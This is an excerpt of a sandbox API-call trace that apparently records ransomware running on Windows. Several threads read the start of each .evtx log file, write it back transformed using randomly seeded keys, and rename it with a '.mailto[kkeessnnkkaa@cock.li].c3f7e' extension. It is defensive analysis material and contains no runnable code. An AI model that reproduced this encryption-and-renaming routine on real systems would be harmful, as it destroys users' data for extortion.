	[0084.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0084.797] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d9e0
	[0084.797] wcscpy (in: _Dest=0x4f2d9e0, _Source="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx"
	[0084.797] wcscat (in: _Dest=0x4f2d9e0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.797] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10abfa5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.797] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477c7b8
	[0084.797] NtSetInformationFile (FileHandle=0x1430, IoStatusBlock=0x10abfa54, FileInformation=0x477c7b8, Length=0xce, FileInformationClass=0xa) returned 0x0
	[0087.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1
	[0087.781] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924a28) returned 1
	[0087.781] NtQueryInformationFile (in: FileHandle=0x1430, IoStatusBlock=0x10abfa68, FileInformation=0x10abfa40, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10abfa68, FileInformation=0x10abfa40) returned 0x0
	[0087.781] NtSetInformationFile (FileHandle=0x1430, IoStatusBlock=0x10abfa68, FileInformation=0x10abfa40, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d9e0) returned 1
	[0087.802] FlushFileBuffers (hFile=0x1430) returned 1
	[0092.920] CloseHandle (hObject=0x1430) 

Thread:
	id = 405
	os_tid = 0x157c

	[0076.947] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20
	[0081.650] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0081.650] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1434
	[0081.653] GetFileSizeEx (in: hFile=0x1434, lpFileSize=0x10b3fd00 | out: lpFileSize=0x10b3fd00*=69632) returned 1
	[0081.654] SetFilePointerEx (in: hFile=0x1434, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.654] ReadFile (in: hFile=0x1434, lpBuffer=0x10b3fc84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10b3fc80, lpOverlapped=0x0 | out: lpBuffer=0x10b3fc84*, lpNumberOfBytesRead=0x10b3fc80*=0x4, lpOverlapped=0x0) returned 1
	[0081.655] SetFilePointerEx (in: hFile=0x1434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c58
	[0081.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.655] NtQuerySystemTime (in: CurrentTime=0x10b3fc60 | out: CurrentTime=0x10b3fc60*=132251868083901164) returned 0x0
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x8d6ced5b
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x9772a816
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x185e5f2e
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x80cf5cc0
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x120d2bf0
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xcd13fdb2
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x65f5aedb
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xfb7c6b8d
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xdcc44425
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x15c6aeef
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x60de1609
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x485265b
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xd651153c
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x1926d51e
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xb9af1f73
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xc6e8e091
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x5b776550
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x32ce402b
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xf18e9d11
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xdb477c80
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xb9d79d14
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x61891723
	[0081.655] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x42ecf18
	[0081.656] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xb09405bb
	[0081.656] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xe4accc62
	[0081.656] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x35491701
	[0081.656] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xcc7d54e2
	[0081.656] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xb4efec04
	[0081.656] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x7111528b
	[0081.656] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0x795a20e7
	[0081.656] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xb449f80f
	[0081.656] RtlRandom (in: Seed=0x10b3fc6c | out: Seed=0x10b3fc6c) returned 0xfbb9c766
	[0081.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33938
	[0081.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.665] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.665] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f48e48
	[0081.665] SetFilePointerEx (in: hFile=0x1434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.665] ReadFile (in: hFile=0x1434, lpBuffer=0x4f48e48, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10b3fc40, lpOverlapped=0x0 | out: lpBuffer=0x4f48e48*, lpNumberOfBytesRead=0x10b3fc40*=0xc800, lpOverlapped=0x0) returned 1
	[0081.666] SetFilePointerEx (in: hFile=0x1434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c80
	[0081.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c80) returned 1
	[0081.667] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4914058
	[0081.670] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.670] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.670] WriteFile (in: hFile=0x1434, lpBuffer=0x4914058*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10b3fc40, lpOverlapped=0x0 | out: lpBuffer=0x4914058*, lpNumberOfBytesWritten=0x10b3fc40*=0xc800, lpOverlapped=0x0) returned 1
	[0081.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4914058) returned 1
	[0081.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48e48) returned 1
	[0081.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ed3e0
	[0081.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c80
	[0081.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c80) returned 1
	[0081.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ecdc0
	[0081.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a00
	[0081.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0081.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0081.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.673] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x145) returned 0x2e02570
	[0081.673] SetFilePointerEx (in: hFile=0x1434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.673] WriteFile (in: hFile=0x1434, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x10b3fcc0, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x10b3fcc0*=0x145, lpOverlapped=0x0) returned 1
	[0081.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0081.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecdc0) returned 1
	[0081.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a00) returned 1
	[0081.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed3e0) returned 1
	[0081.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c58) returned 1
	[0081.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33938) returned 1
	[0081.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddb818
	[0081.675] wcscpy (in: _Dest=0x2ddb818, _Source="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx"
	[0081.675] wcscat (in: _Dest=0x2ddb818, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.675] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10b3fc78, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4717990
	[0081.675] NtSetInformationFile (FileHandle=0x1434, IoStatusBlock=0x10b3fc70, FileInformation=0x4717990, Length=0xc2, FileInformationClass=0xa) returned 0x0
	[0087.872] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717990) returned 1
	[0087.872] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b5e8) returned 1
	[0087.872] NtQueryInformationFile (in: FileHandle=0x1434, IoStatusBlock=0x10b3fc84, FileInformation=0x10b3fc5c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10b3fc84, FileInformation=0x10b3fc5c) returned 0x0
	[0087.873] NtSetInformationFile (FileHandle=0x1434, IoStatusBlock=0x10b3fc84, FileInformation=0x10b3fc5c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb818) returned 1
	[0087.874] FlushFileBuffers (hFile=0x1434) returned 1
	[0093.242] CloseHandle (hObject=0x1434) 

Thread:
	id = 406
	os_tid = 0x1580

	[0076.948] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20
	[0080.453] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0080.453] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9cc
	[0080.453] GetFileSizeEx (in: hFile=0x9cc, lpFileSize=0x10bbfc3c | out: lpFileSize=0x10bbfc3c*=69632) returned 1
	[0080.453] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.453] ReadFile (in: hFile=0x9cc, lpBuffer=0x10bbfbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10bbfbbc, lpOverlapped=0x0 | out: lpBuffer=0x10bbfbc0*, lpNumberOfBytesRead=0x10bbfbbc*=0x4, lpOverlapped=0x0) returned 1
	[0080.516] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0080.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.516] NtQuerySystemTime (in: CurrentTime=0x10bbfb9c | out: CurrentTime=0x10bbfb9c*=132251868072499746) returned 0x0
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x525c8ef2
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x5c41e901
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0xc54d26b4
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x8cf970e9
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x942b7e42
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0xfd780795
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0xb784a46d
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x14b74d30
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0xb797ba72
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x5c9e30db
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0xbd5e346b
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x3648dd5d
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x7ad5cc95
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0xd4c8bfcd
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x5309a968
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x6d39bf2f
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x8080e661
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x55277f47
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x1e48d677
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x5435740b
	[0080.516] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x8c5b733c
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x8dc754ff
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x345a9906
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x8f936639
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x195d4eb2
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0xe7c5fd30
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x932159cd
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x73ac509a
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x98028901
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0xa9714812
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x2b3fcd77
	[0080.517] RtlRandom (in: Seed=0x10bbfba8 | out: Seed=0x10bbfba8) returned 0x59a9dd25
	[0080.524] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0080.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0080.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0080.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46f5870
	[0080.526] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.526] ReadFile (in: hFile=0x9cc, lpBuffer=0x46f5870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10bbfb7c, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0x10bbfb7c*=0xc800, lpOverlapped=0x0) returned 1
	[0080.994] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0080.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0080.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0080.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0080.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851828
	[0080.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0080.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.998] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.998] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0080.998] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0080.998] WriteFile (in: hFile=0x9cc, lpBuffer=0x4851828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10bbfb7c, lpOverlapped=0x0 | out: lpBuffer=0x4851828*, lpNumberOfBytesWritten=0x10bbfb7c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851828) returned 1
	[0081.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46f5870) returned 1
	[0081.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4f) returned 0x2dac268
	[0081.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0081.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4f) returned 0x2dac318
	[0081.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338c0
	[0081.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0081.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x133) returned 0x2d85ee8
	[0081.156] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.157] WriteFile (in: hFile=0x9cc, lpBuffer=0x2d85ee8*, nNumberOfBytesToWrite=0x133, lpNumberOfBytesWritten=0x10bbfbfc, lpOverlapped=0x0 | out: lpBuffer=0x2d85ee8*, lpNumberOfBytesWritten=0x10bbfbfc*=0x133, lpOverlapped=0x0) returned 1
	[0081.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0081.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac318) returned 1
	[0081.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338c0) returned 1
	[0081.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac268) returned 1
	[0081.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0081.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815d0) returned 1
	[0081.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0081.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0081.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4986710
	[0081.281] wcscpy (in: _Dest=0x4986710, _Source="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx"
	[0081.281] wcscat (in: _Dest=0x4986710, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.281] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10bbfbb4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2dda900
	[0081.281] NtSetInformationFile (FileHandle=0x9cc, IoStatusBlock=0x10bbfbac, FileInformation=0x2dda900, Length=0xb0, FileInformationClass=0xa) returned 0x0
